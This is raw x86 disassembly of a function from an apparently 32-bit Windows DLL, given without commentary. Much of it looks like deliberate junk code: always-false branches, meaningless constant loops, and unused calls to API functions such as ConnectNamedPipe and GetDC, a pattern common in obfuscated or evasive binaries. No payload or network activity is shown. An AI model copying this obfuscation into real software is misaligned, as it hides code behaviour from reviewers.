neg eax
sbb eax, eax
neg eax
imul eax, eax, 0xffff8b4e
test eax, eax
je 0x1000b746
mov eax, ebx
jmp 0x1000b748
xor eax, eax
add eax, 3
lea ecx, [ebp - 0x92c]
imul esi, eax, 0xb227
xor eax, eax
push eax
call fcn.10026d2c
mov dword [eax], esi
test esi, esi
jne 0x1000b76f
xor eax, eax
cmp dword [ebp - 0x6ac], eax
je 0x1000b771
mov eax, ebx
mov dword [ebp - 0x2c], eax
xor eax, eax
push 4
mov dword [ebp - 0x2c], eax
pop esi
jmp 0x1000b78f
push dword [ebp - 0x2c]
call fcn.10026d2c
mov dword [eax], 0x67457993
inc dword [ebp - 0x2c]
lea ecx, [ebp - 0x92c]
cmp dword [ebp - 0x2c], esi
jl 0x1000b77e
mov byte [ebp - 4], 0x13
call fcn.10026d27
mov dword [ebp - 0x3c], ebx
mov eax, 0xffff
mov dword [ebp - 0x34], eax
mov ecx, ebx
mov dword [ebp - 0x14], ebx
xor eax, eax
mov dword [ebp - 0x1c], 0x89b467bb
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x34], eax
jne 0x1000b7c6
mov ecx, eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x44]
jl 0x1000b93c
push ebx
lea ecx, [ebp - 0xb10]
call fcn.10026cbf
mov byte [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x44], 0x232c2a4e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000b819
push dword [ebp - 0x20]
lea ecx, [ebp - 0xb10]
call fcn.10026d2c
mov dword [eax], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000b7ff
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b82d
call edi
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000b922
mov dword [ebp - 0x4c], 0x5d0c
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1000b91f
mov dword [ebp - 0x38], 0x6989
mov dword [ebp - 0x18], 0x485bdf60
mov dword [ebp - 0x28], 0x97ee8c4b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000b87d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x14e8], 0xd35df961
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000b865
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jg 0x1000b916
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb10]
call fcn.10026d2c
xor ecx, ecx
cmp dword [eax], 0xa339
setg cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
dec dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x44]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, 0xfffffff7
mov eax, dword [ebp - 0x28]
setle cl
xor edx, edx
add ecx, 0x470e
cmp ecx, eax
setg dl
imul eax, dword [ebp - 0x38], 0xbf0
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], eax
jne 0x1000b8f8
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, ebx
setl cl
xor eax, eax
mov dword [ebp - 0x14dc], ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jle 0x1000b889
dec dword [ebp - 0x1c]
jns 0x1000b848
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1000b835
lea ecx, [ebp - 0xb10]
mov byte [ebp - 4], 0x13
call fcn.10026d27
jmp 0x1000b96d
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1000b967
mov dword [ebp - 0x14], eax
jmp 0x1000b95e
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b95b
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x14
jg 0x1000b948
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
jle 0x1000b943
push 2
pop esi
mov dword [ebp - 0x44], 0x314af12a
lea ecx, [ebp - 0x398]
push esi
call fcn.10026cbf
mov byte [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000b9b2
push dword [ebp - 0x20]
lea ecx, [ebp - 0x398]
call fcn.10026d2c
mov dword [eax], 0x13b91020
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000b994
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1000b9ce
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x398]
call fcn.10026d2c
mov dword [eax], 0x29000d4e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1000b9b7
push 0xfffffffffffffff5
pop eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x1000bad9
push 3
lea ecx, [ebp - 0x408]
call fcn.10026cbf
mov byte [ebp - 4], 0x1d
xor eax, eax
mov dword [ebp - 0x4c], 0x34678dc2
mov dword [ebp - 0x20], eax
jmp 0x1000ba12
push dword [ebp - 0x20]
call fcn.10026d2c
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
lea ecx, [ebp - 0x408]
jl 0x1000ba01
push esi
call fcn.10026d2c
mov ecx, dword [ebp - 0x1c]
push esi
mov dword [eax], ecx
lea ecx, [ebp - 0x408]
call fcn.10026d2c
mov dword [ebp - 0x4c], 0x8f21
lea ecx, [ebp - 0x398]
push ebx
call fcn.10026d2c
mov esi, eax
lea ecx, [ebp - 0x398]
xor eax, eax
push eax
call fcn.10026d2c
push 2
xor ebx, ebx
mov ecx, dword [eax]
cmp ecx, dword [esi]
lea ecx, [ebp - 0x408]
pop esi
push esi
setge bl
call fcn.10026d2c
xor ecx, ecx
push esi
cmp dword [eax], ebx
setge cl
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x408]
call fcn.10026d2c
xor ebx, ebx
lea ecx, [ebp - 0x398]
inc ebx
mov esi, eax
push ebx
call fcn.10026d2c
mov esi, dword [esi]
lea ecx, [ebp - 0x398]
push ebx
imul esi, dword [eax]
call fcn.10026d2c
mov ecx, dword [ebp - 0x1c]
sub esi, ecx
xor ecx, ecx
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x30], esi
setle cl
add ecx, dword [ebp - 0x4c]
mov dword [eax], ecx
lea ecx, [ebp - 0x408]
call fcn.10026d27
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff5
push 2
pop esi
jle 0x1000b9e2
lea ecx, [ebp - 0x398]
mov byte [ebp - 4], 0x13
call fcn.10026d27
xor eax, eax
mov byte [ebp - 0x45], al
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x30], 0xd0714ad
mov dword [ebp - 0x54], ebx
push 5
mov dword [ebp - 0x4c], ebx
pop ecx
mov dword [ebp - 0x58], ecx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1000bb23
push 0x11a6
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1000bb4e
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000bbba
push eax
push 0x196e
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
jmp 0x1000bbba
push 3
lea ecx, [ebp - 0xdc8]
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x20], eax
jmp 0x1000bb77
push dword [ebp - 0x20]
call fcn.10026d2c
mov dword [eax], 0x9f6d4a0d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
lea ecx, [ebp - 0xdc8]
jl 0x1000bb66
mov eax, dword [ebp - 0x44]
xor eax, eax
push eax
call fcn.10026d2c
imul ecx, dword [ebp - 0x44], 0x9796
mov dword [eax], ecx
lea ecx, [ebp - 0xdc8]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 0x13
call fcn.10026d27
cmp byte [ebp - 0x45], 0
je 0x1000bc63
lea ecx, [ebp - 0x608]
mov dword [ebp - 4], esi
call fcn.10026d27
push 4
lea ecx, [ebp - 0x6c8]
call fcn.10026cbf
mov dword [ebp - 4], 0x23
xor eax, eax
mov dword [ebp - 0x14], 0x66fe7d8a
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1000c42b
push dword [ebp - 0x20]
lea ecx, [ebp - 0x6c8]
call fcn.10026d2c
mov dword [eax], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000c40c
xor eax, eax
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], eax
jl 0x1000c508
jmp 0x1000c43f
xor eax, eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x44], 0x314af12a
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c45c
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0xfffffffffffffffb
pop eax
cmp dword [ebp - 0x14], eax
jg 0x1000c485
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6c8]
call fcn.10026d2c
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6c8]
call fcn.10026d2c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x6c8]
call fcn.10026d2c
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], 0xb81eca6c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x14]
je 0x1000c4cb
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1000c508
mov eax, dword [ebp - 0x34]
jmp 0x1000c4ff
xor eax, eax
mov dword [ebp - 0x30], 0xf06e85fc
cmp dword [ebp - 0x1c], eax
jne 0x1000c508
mov dword [ebp - 0x1c], eax
jmp 0x1000c4f9
mov dword [ebp - 0x44], 0x39d20578
mov dword [ebp - 0x34], eax
jmp 0x1000c4f0
mov dword [ebp - 0x30], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jle 0x1000c4ea
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x1000c4de
dec dword [ebp - 0x14]
jns 0x1000c43d
lea ecx, [ebp - 0x6c8]
mov dword [ebp - 4], esi
call fcn.10026d27
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x38], 0xac204e2d
mov dword [ebp - 0x38], 0xfffffff7
cmp dword [ebp - 0x38], 0xffffffe2
jge 0x1000c5b4
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x14], 0x90197f0a
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000c560
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x112c], 0x17ca
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000c548
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000c58b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c588
push 0x20dc
push eax
push 0x17e2
push eax
push 0x184d
push 0x2c0
call ebx
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1000c565
mov dword [ebp - 0x14], eax
jmp 0x1000c5a4
mov dword [ebp - 0x30], 0x143e95aa
cmp dword [ebp - 0x30], eax
jne 0x1000c5a9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1000c595
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe2
jl 0x1000c539
jmp 0x1000c5b9
xor esi, esi
xor eax, eax
inc esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c5d5
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
xor eax, eax
mov dword [ebp - 0x38], 0xac204e2d
mov dword [ebp - 0x38], 0xfffffff7
jmp 0x1000c658
mov dword [ebp - 0x14], 0x90197f0a
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000c60c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x11a4], 0x17ca
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000c5f4
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000c637
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c634
push 0x20dc
push eax
push 0x17e2
push eax
push 0x184d
push 0x2c0
call ebx
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1000c611
mov dword [ebp - 0x14], eax
jmp 0x1000c650
mov dword [ebp - 0x30], 0x143e95aa
cmp dword [ebp - 0x30], eax
jne 0x1000c655
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1000c641
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffe2
jl 0x1000c5e5
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c678
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 4
lea ecx, [ebp - 0x61c]
call fcn.10026cbf
mov dword [ebp - 4], 0x24
or eax, 0xffffffff
mov dword [ebp - 0x14], 0x66fe7d8a
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1000c6d0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x61c]
call fcn.10026d2c
mov dword [eax], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000c6b1
xor eax, eax
push 3
pop ecx
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], eax
jl 0x1000c7ad
jmp 0x1000c6e3
xor eax, eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x44], 0x314af12a
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c700
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0xfffffffffffffffb
pop eax
cmp dword [ebp - 0x14], eax
jg 0x1000c729
push dword [ebp - 0x14]
lea ecx, [ebp - 0x61c]
call fcn.10026d2c
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x61c]
call fcn.10026d2c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x61c]
call fcn.10026d2c
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], 0xb81eca6c
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x14]
je 0x1000c76f
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1000c7ad
mov eax, dword [ebp - 0x34]
jmp 0x1000c7a4
xor eax, eax
mov dword [ebp - 0x30], 0xf06e85fc
cmp dword [ebp - 0x1c], eax
jne 0x1000c7ad
push 3
mov dword [ebp - 0x1c], eax
pop ecx
jmp 0x1000c79f
mov dword [ebp - 0x44], 0x39d20578
mov dword [ebp - 0x34], eax
jmp 0x1000c797
mov dword [ebp - 0x30], esi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jle 0x1000c791
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1000c785
dec dword [ebp - 0x14]
jns 0x1000c6e1
or eax, 0xffffffff
lea ecx, [ebp - 0x61c]
mov dword [ebp - 4], eax
call fcn.10026d27
mov dword [ebp - 0x38], 0xac204e2d
xor eax, eax
mov dword [ebp - 0x38], 0xfffffff7
cmp dword [ebp - 0x38], 0xffffffe2
jge 0x1000c849
mov dword [ebp - 0x14], 0x90197f0a
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1000c7fb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x10e0], 0x17ca
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1000c7e3
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000c826
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c823
push 0x20dc
push eax
push 0x17e2
push eax
push 0x184d
push 0x2c0
call ebx
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1000c800
mov dword [ebp - 0x14], eax
jmp 0x1000c83f
mov dword [ebp - 0x30], 0x143e95aa
cmp dword [ebp - 0x30], eax
jne 0x1000c844
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1000c830
dec dword [ebp - 0x38]
jmp 0x1000c7ce
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c863
push eax
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
movdqa xmm0, xmmword [0x10007ac0]
lea eax, [ebp - 0x124c]
push 2
pop ebx
push eax
lea eax, [ebp - 0x125c]
mov dword [ebp - 0x1c], ebx
push eax
lea ecx, [ebp - 0x1588]
movdqu xmmword [ebp - 0x125c], xmm0
call fcn.10026d3b
lea ecx, [ebp - 0x195]
mov esi, eax
call fcn.10008b75
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xf44]
push dword [esi]
call fcn.10026d01
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x1c], 0xfffffffa
cmp dword [ebp - 0x1c], 0xffffffe8
jle 0x1000c9c3
xor edi, edi
lea ecx, [ebp - 0x244]
inc edi
push edi
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1000c903
push dword [ebp - 0x20]
lea ecx, [ebp - 0x244]
call fcn.10026d2c
mov dword [eax], 0xc74a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1000c8e5
xor eax, eax
push eax
lea ecx, [ebp - 0x244]
call fcn.10026d2c
xor ebx, ebx
cmp dword [eax], ebx
je 0x1000c948
push ebx
lea ecx, [ebp - 0x244]
call fcn.10026d2c
cmp dword [eax], ebx
je 0x1000c930
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000c932
mov esi, edi
jmp 0x1000c934
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x244]
call fcn.10026d2c
cmp esi, dword [eax]
jne 0x1000c948
xor eax, eax
jmp 0x1000c94c
xor eax, eax
mov edi, eax
push eax
lea ecx, [ebp - 0x244]
call fcn.10026d2c
lea ecx, [ebp - 0x244]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.10026d2c
xor ecx, ecx
cmp dword [eax], esi
setne cl
xor ebx, ebx
cmp ecx, 4
lea ecx, [ebp - 0x244]
setle bl
xor eax, eax
push eax
call fcn.10026d2c
mov ecx, dword [ebp - 0x1c]
sub ecx, ebx
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0xf44]
setl bl
xor eax, eax
push eax
call fcn.10026d2c
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 0x25
mov dword [eax], ebx
call fcn.10026d27
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
jg 0x1000c8c8
push 2
pop ebx
mov dword [ebp - 0x1c], 0xffffffed
cmp dword [ebp - 0x1c], 0x14
jne 0x1000c9ed
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000c9e4
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x14
je 0x1000c9d2
or eax, 0xffffffff
lea ecx, [ebp - 0xf44]
mov dword [ebp - 4], eax
call fcn.10026d27
movdqa xmm0, xmmword [0x10007ac0]
lea eax, [ebp - 0x134c]
push eax
lea eax, [ebp - 0x135c]
mov dword [ebp - 0x1c], ebx
push eax
lea ecx, [ebp - 0x1418]
movdqu xmmword [ebp - 0x135c], xmm0
call fcn.10026d3b
lea ecx, [ebp - 0x169]
mov esi, eax
call fcn.10008b75
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x104c]
push dword [esi]
call fcn.10026d01
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x1c], 0xfffffffa
jmp 0x1000cb49
xor edi, edi
lea ecx, [ebp - 0x254]
inc edi
push edi
call fcn.10026cbf
xor eax, eax
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1000ca96
push dword [ebp - 0x20]
lea ecx, [ebp - 0x254]
call fcn.10026d2c
mov dword [eax], 0xc74a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1000ca78
xor eax, eax
push eax
lea ecx, [ebp - 0x254]
call fcn.10026d2c
xor ebx, ebx
cmp dword [eax], ebx
je 0x1000cadb
push ebx
lea ecx, [ebp - 0x254]
call fcn.10026d2c
cmp dword [eax], ebx
je 0x1000cac3
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000cac5
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x254]
call fcn.10026d2c
cmp esi, dword [eax]
jne 0x1000cadb
xor eax, eax
mov edi, eax
push eax
lea ecx, [ebp - 0x254]
call fcn.10026d2c
lea ecx, [ebp - 0x254]
mov esi, dword [eax]
xor eax, eax
push eax
imul esi, edi
call fcn.10026d2c
xor ecx, ecx
cmp dword [eax], esi
setne cl
xor ebx, ebx
cmp ecx, 4
lea ecx, [ebp - 0x254]
setle bl
xor eax, eax
push eax
call fcn.10026d2c
mov ecx, dword [ebp - 0x1c]
sub ecx, ebx
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x104c]
setl bl
xor eax, eax
push eax
call fcn.10026d2c
lea ecx, [ebp - 0x254]
mov byte [ebp - 4], 0x27
mov dword [eax], ebx
call fcn.10026d27
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
jg 0x1000ca5b
mov dword [ebp - 0x1c], 0xffffffed
cmp dword [ebp - 0x1c], 0x14
jne 0x1000cb7d